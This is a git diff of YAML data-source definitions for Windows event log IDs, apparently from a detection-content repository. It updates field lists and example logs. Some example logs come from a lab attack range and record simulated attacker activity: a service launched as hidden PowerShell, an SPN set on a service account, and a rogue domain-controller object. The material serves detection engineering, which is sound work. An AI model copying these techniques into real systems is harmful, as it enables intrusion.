Task + - TaskCategory + - ThreadID + - timestamp + - vendor + - vendor_product + - Version output_fields: - RuleName - signature @@ -30,4 +78,5 @@ output_fields: - status - dest - ProcessID -example_log: 4947001357100x8020000000000000893175Securityar-win-dc.attackrange.localAll{2B6C38C7-0EBB-4010-80E5-45BF5F2CB8DD}Allow Dummy Rules +example_log: | + 4947001357100x8020000000000000893175Securityar-win-dc.attackrange.localAll{2B6C38C7-0EBB-4010-80E5-45BF5F2CB8DD}Allow Dummy Rules diff --git a/data_sources/windows_event_log_security_4948.yml b/data_sources/windows_event_log_security_4948.yml index 34f0f502fc..80840e089a 100644 --- a/data_sources/windows_event_log_security_4948.yml +++ b/data_sources/windows_event_log_security_4948.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4948 id: 910032df-4e49-42fe-a611-d4c29557d83a -version: 3 +version: 4 creation_date: '2025-03-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Data source object for Windows Event Log Security 4948 source: XmlWinEventLog:Security @@ -15,14 +15,62 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app + - Channel + - Computer + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Name + - name + - object_attrs + - Opcode - ProcessID - - ThreadID - - Computer + - product - ProfileChanged - - RuleName + - punct + - RecordNumber - RuleId + - RuleName + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - status + - subject + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::action + - tag::eventtype + - Task + - TaskCategory + - ThreadID + - timestamp + - vendor + - vendor_product + - Version output_fields: - RuleName - signature @@ -30,4 +78,5 @@ output_fields: - status - dest - ProcessID -example_log: 4948001357100x8020000000000000893173Securityar-win-dc.attackrange.localAll{0A93EF88-A0FE-4A77-A5DD-4E46A51A2E2E}Allow Dummy Rule +example_log: | + 4948001357100x8020000000000000893171Securityar-win-dc.attackrange.localAll{F1F45BAC-902B-489E-A811-42D7B2BE27F9}Allow Dummy Rule diff --git a/data_sources/windows_event_log_security_5136.yml b/data_sources/windows_event_log_security_5136.yml index 987a9f9501..1556bef14f 100644 --- a/data_sources/windows_event_log_security_5136.yml +++ b/data_sources/windows_event_log_security_5136.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5136 id: 7ba3737e-231e-455d-824e-cd077749f835 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs modifications made to an Active Directory object, including details about the object name, type, and the changes applied. mitre_components: @@ -20,7 +20,9 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - AppCorrelationID - AttributeLDAPDisplayName - AttributeSyntaxOID @@ -29,75 +31,71 @@ fields: - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain - DSName - DSType + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name - ObjectClass - ObjectDN - ObjectGUID - - OpCorrelationID - Opcode + - OpCorrelationID - OperationType - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest -example_log: 5136001408100x80200000000000001997365Securitywin-dc-mvelazco-02713-392.attackrange.local{73C96723-504B-4F15-830A-F4DDB1C48F2E}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x95675attackrange.local%%14676CN=DANNIE_CERVANTES,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=attackrange,DC=local{15AFB68A-679C-4F5B-AC18-4D988B3B3E44}userservicePrincipalName2.5.5.12adm/srv1.attackrange.local%%14674 +example_log: | + 5136001408100x80200000000000008462997Securityar-win-dc.attackrange.local{DAA78BEA-1686-4F99-9F07-6E113CDACAED}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xd16f3attackrange.local%%14676cn={F12AD28C-02E9-42B4-A0A7-6E89C066B65F},cn=policies,cn=system,DC=attackrange,DC=local{E65A4255-C048-4375-A295-82FD8A53AC59}groupPolicyContainerflags2.5.5.93%%14674 diff --git a/data_sources/windows_event_log_security_5137.yml b/data_sources/windows_event_log_security_5137.yml index f52138e52a..482ffefffb 100644 --- a/data_sources/windows_event_log_security_5137.yml +++ b/data_sources/windows_event_log_security_5137.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5137 id: 64ed7bb1-9c3c-4355-ac08-b506ec3b053e -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new Active Directory object, including details about the object name, type, and the user performing the action. mitre_components: @@ -20,79 +20,78 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app - AppCorrelationID - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain - DSName - DSType + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name - ObjectClass - ObjectDN - ObjectGUID - - OpCorrelationID - Opcode + - OpCorrelationID - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest -example_log: 5137001408100x8020000000000000170140Securityar-win-dc.attackrange.local{681cac8c-b5a4-48fd-be93-4339996bd94d}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={2C4C7CD3-7AA5-4E84-89B5-CE9FC75611D4},CN=Policies,CN=System,DC=attackrange,DC=local{3e7ae4de-29a6-41c1-b27c-bf9548b0444c}groupPolicyContainer +example_log: | + 5137001408100x80200000000000001209265Securityar-win-dc.attackrange.local{F003777D-0468-4FA6-9EA0-8DCE47FB2D48}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xe15f9attackrange.local%%14676DC=DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA,DC=attackrange.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=attackrange,DC=local{B6F6CDF7-62FC-4717-BF81-5361F47096E9}dnsNode diff --git a/data_sources/windows_event_log_security_5140.yml b/data_sources/windows_event_log_security_5140.yml index f5aa6f25df..d9fea8b0e1 100644 --- a/data_sources/windows_event_log_security_5140.yml +++ b/data_sources/windows_event_log_security_5140.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5140 id: 93e0ca09-e4b8-4da6-872a-d0127c4d2b22 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs access to a network share, including details about the user, share path, and the access type. mitre_components: @@ -22,65 +22,54 @@ fields: - _time - AccessList - AccessMask + - action + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - file_name + - file_path - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - Logon_ID - Name + - name - ObjectType - Opcode - ProcessID - - RecordNumber - - ShareName - - Source_Port - - Source_Workstation - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - file_name - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id + - ShareLocalPath + - ShareName - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src @@ -88,17 +77,28 @@ fields: - src_nt_domain - src_nt_host - src_port + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user - vendor - vendor_product + - Version output_fields: - dest field_mappings: @@ -115,4 +115,6 @@ field_mappings: SubjectUserName: actor.user.name SubjectLogonId: actor.session.uid SubjectUserSid: actor.user.uid -example_log: 5140101280800x8020000000000000138541Securityar-win-66.attackrange.localATTACKRANGE\ELMER_SALASELMER_SALASATTACKRANGE0x2f259bFile10.0.1.1649864\\*\IPC$0x1%%4416 +example_log: | + 5140101280800x8020000000000000369814Securityar-win-62.attackrange.localATTACKRANGE\ELMER_SALASELMER_SALASATTACKRANGE0x27e0e5File10.0.1.1649874\\*\IPC$0x1%%4416 + diff --git a/data_sources/windows_event_log_security_5141.yml b/data_sources/windows_event_log_security_5141.yml index a5104efd60..166216edb7 100644 --- a/data_sources/windows_event_log_security_5141.yml +++ b/data_sources/windows_event_log_security_5141.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5141 id: eafb35fa-f034-4be3-8508-d9173a73c0a1 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of an Active Directory object, including details about the object name, type, and the user performing the action. mitre_components: @@ -20,80 +20,79 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - AppCorrelationID - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain - DSName - DSType + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords + - Level + - linecount - Logon_ID - Name + - name - ObjectClass - ObjectDN - ObjectGUID - - OpCorrelationID - Opcode + - OpCorrelationID - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TreeDelete - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - TreeDelete - vendor - vendor_product + - Version output_fields: - dest -example_log: 5141001408100x8020000000000000670908Securitywin-dc-range-02713-392.attackrange.local{A3058236-A662-445E-9BEB-DE9210B143AB}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x978ac22attackrange.local%%14676CN=NTDS Settings,CN=WIN-HOST-ROGUE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=attackrange,DC=local{48387E55-8777-403F-BC63-2A38289A6BBF}nTDSDSA%%14679 +example_log: | + 5141001408100x8020000000000000670906Securitywin-dc-range-02713-392.attackrange.local{24BA5EC0-F600-4F17-A858-35940D4D064E}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x978ac22attackrange.local%%14676CN=WIN-HOST-ROGUE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=attackrange,DC=local{BEC8DDA8-2D9C-486D-A3BD-5DED80E6286F}server%%14679 diff --git a/data_sources/windows_event_log_security_5145.yml b/data_sources/windows_event_log_security_5145.yml index aa637f928a..19e89bd203 100644 --- a/data_sources/windows_event_log_security_5145.yml +++ b/data_sources/windows_event_log_security_5145.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5145 id: 0746479b-7b82-4d7e-8811-0b35da00f798 -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs detailed information about access to a network share, including the user, share path, accessed file, and access permissions. mitre_components: @@ -23,68 +23,55 @@ fields: - AccessList - AccessMask - AccessReason + - action + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - file_name + - file_path - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - Logon_ID - Name + - name - ObjectType - Opcode - ProcessID + - product + - punct - RecordNumber - RelativeTargetName + - session_id + - severity + - severity_id - ShareLocalPath - ShareName - - Source_Port - - Source_Workstation - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - file_name - - file_path - - host - - id - - index - - linecount - - name - - product - - punct - - session_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src @@ -92,17 +79,27 @@ fields: - src_nt_domain - src_nt_host - src_port + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest field_mappings: @@ -137,4 +134,6 @@ field_mappings: SubjectUserSid: actor.user.uid ShareName: share Computer: device.hostname -example_log: 5145001281100x80200000000000002018939Securityar-win-dc.attackrange.localANONYMOUS LOGONANONYMOUS LOGONATTACKRANGE0x13ef1bFile10.0.1.1550160\\*\SYSVOL\??\C:\Windows\SYSVOL\sysvollsarpc0x120089%%1538 +example_log: | + 5145001281100x8020000000000000507919Securityar-win-dc.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x4cd7dFilefe80::f442:1ec1:2f89:466951109\\*\C$\??\C:\test.exe0x2%%4417 + - diff --git a/data_sources/windows_event_log_security_5447.yml b/data_sources/windows_event_log_security_5447.yml index d1f16649a7..4ac41fd3ca 100644 --- a/data_sources/windows_event_log_security_5447.yml +++ b/data_sources/windows_event_log_security_5447.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 5447 id: b94e3b5d-d00f-4fed-88e9-c8ea87495618 -version: 1 +version: 2 creation_date: '2026-08-23' -modification_date: '2026-08-23' +modification_date: '2026-10-14' author: Nasreddine Bencherchali, Splunk description: Logs Windows Filtering Platform runtime filter changes, including the change type, provider, filter, layer, conditions, and filter action metadata. mitre_components: @@ -21,80 +21,77 @@ supported_TA: fields: - _time - Action + - action - ActivityID + - app - CalloutKey - CalloutName - ChangeType - Channel - Computer - Conditions + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - FilterId - FilterKey - FilterName - FilterType - Guid + - host + - id + - index - Keywords - LayerId - LayerKey - LayerName - Level + - linecount - Name + - name - Opcode + - process_id - ProcessID - ProcessId + - product - ProviderKey - ProviderName - - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserName - - UserSid - - Version - - Weight - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - product - punct + - RecordNumber + - severity + - severity_id - signature - signature_id - source + - SourceName - sourcetype - splunk_server - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user + - Task + - TaskCategory + - ThreadID + - timestamp + - UserName + - UserSid - vendor - vendor_product + - Version + - Weight output_fields: - dest example_log: | diff --git a/data_sources/windows_event_log_system_104.yml b/data_sources/windows_event_log_system_104.yml index 2441f3fffb..cb0ea7cdc8 100644 --- a/data_sources/windows_event_log_system_104.yml +++ b/data_sources/windows_event_log_system_104.yml @@ -1,8 +1,8 @@ name: Windows Event Log System 104 id: 577b9b41-6b37-44c4-9016-3d890b909050 -version: 4 +version: 5 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log System 104 source: XmlWinEventLog:System @@ -14,6 +14,74 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_User_Name + - change_type + - Channel + - Computer + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventID + - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - LogFileCleared_Xml + - Name + - name + - object + - object_attrs + - object_category + - Opcode + - ProcessID + - product + - punct + - RecordNumber + - result + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src_user + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::eventtype + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_data_channel + - user_id + - user_name + - UserData_Xml + - UserID + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 1040410400x8000000000000000180851Systemar-win-dc.attackrange.localAdministratorATTACKRANGESystem diff --git a/data_sources/windows_event_log_system_7036.yml b/data_sources/windows_event_log_system_7036.yml index ef0de6543d..0e49eae967 100644 --- a/data_sources/windows_event_log_system_7036.yml +++ b/data_sources/windows_event_log_system_7036.yml @@ -1,8 +1,8 @@ name: Windows Event Log System 7036 id: a6e9b34f-1507-4fa1-a4ba-684d1b676a34 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs state changes of a Windows service, including details about the service name and its new state (e.g., started or stopped). mitre_components: @@ -22,59 +22,54 @@ fields: - _time - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - Qualifiers - - RecordNumber - - ServiceName - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name + - Opcode - param1 - param2 + - ProcessID - product - punct + - Qualifiers + - RecordNumber - service - service_name + - ServiceName + - severity + - severity_id - signature_id - source - sourcetype - splunk_server - status + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest -example_log: 703604000x8080000000000000168530Systemar-win-dc.attackrange.localsppsvcstopped7300700070007300760063002F0031000000 +example_log: | + 703604000x8080000000000000187532Systemar-win.nas.domainCisco AMP Orbitalstopped43006900730063006F004F00720062006900740061006C002F0031000000 diff --git a/data_sources/windows_event_log_system_7040.yml b/data_sources/windows_event_log_system_7040.yml index 3e0518531c..88c68c0add 100644 --- a/data_sources/windows_event_log_system_7040.yml +++ b/data_sources/windows_event_log_system_7040.yml @@ -1,8 +1,8 @@ name: Windows Event Log System 7040 id: 91738e9e-d112-41c9-b91b-e5868d8993d9 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to the start type of a Windows service, including details about the service name, old start type, and new start type. mitre_components: @@ -22,63 +22,58 @@ fields: - _time - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - Qualifiers - - RecordNumber - - ServiceName - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name + - Opcode - param1 - param2 - param3 - param4 + - ProcessID - product - punct + - Qualifiers + - RecordNumber - service - service_name + - ServiceName + - severity + - severity_id - signature_id - source - sourcetype - splunk_server - start_mode + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - user_id + - UserID - vendor - vendor_product + - Version output_fields: - dest -example_log: 704004000x8080000000000000168231Systemar-win-dc.attackrange.localPrint Spoolerdemand startdisabledSpooler +example_log: | + 704004000x8080000000000000147896Systemwin-host-ctus-attack-range-328Update Orchestrator Service for Windows Updatedemand startdisabledUsoSvc diff --git a/data_sources/windows_event_log_system_7045.yml b/data_sources/windows_event_log_system_7045.yml index eac759b2d8..8682111863 100644 --- a/data_sources/windows_event_log_system_7045.yml +++ b/data_sources/windows_event_log_system_7045.yml @@ -1,8 +1,8 @@ name: Windows Event Log System 7045 id: 614dedc8-8a14-4393-ba9b-6f093cbcd293 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the successful installation of a new Windows service, including details about the service name, executable path, and service type. mitre_components: @@ -23,62 +23,59 @@ fields: - AccountName - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName + - eventtype - Guid + - host + - id - ImagePath + - index - Keywords - Level + - linecount - Name - Opcode - ProcessID - - Qualifiers - - RecordNumber - - ServiceName - - ServiceType - - StartType - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - product - punct + - Qualifiers + - RecordNumber - service - service_name + - service_path + - ServiceName + - ServiceType + - severity + - severity_id - signature_id - source - sourcetype - splunk_server - start_mode + - StartType + - status + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - user_id + - UserID - vendor - vendor_product + - Version output_fields: - dest -example_log: 704504000x8080000000000000168145Systemar-win-dc.attackrange.localKrbSCMpowershell.exe -WindowStyle Hiddenestno' +example_log: | + 704504000x8080000000000000168100Systemar-win-dc.attackrange.localWinCheckDRVsC:\Temp\mockService.exeuser mode serviceauto startLocalSystem diff --git a/data_sources/windows_event_log_taskscheduler_201.yml b/data_sources/windows_event_log_taskscheduler_201.yml index e429edceb1..650f4ee473 100644 --- a/data_sources/windows_event_log_taskscheduler_201.yml +++ b/data_sources/windows_event_log_taskscheduler_201.yml @@ -1,8 +1,8 @@ name: Windows Event Log TaskScheduler 201 id: 4c09ae64-01cd-4b65-8221-20f803b0d86e -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log TaskScheduler 201 source: XmlWinEventLog:Security @@ -14,6 +14,52 @@ supported_TA: version: 11.0.3 fields: - _time + - ActionName + - ActivityID + - Channel + - Computer + - dvc + - dvc_nt_host + - EnginePID + - event_id + - EventCode + - EventData_Xml + - EventID + - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Name + - Opcode + - ProcessID + - punct + - RecordNumber + - severity + - severity_id + - signature_id + - source + - sourcetype + - splunk_server + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - Task + - TaskCategory + - TaskInstanceId + - TaskName + - ThreadID + - timestamp + - user_id + - UserID + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 2011420110x80000000000000004325Microsoft-Windows-TaskScheduler/Operationalar-win-dc.attackrange.local\OneLinerTestTask3notepad.exe{2EE32989-FAF3-4BA3-9FB9-DB0080598F68}537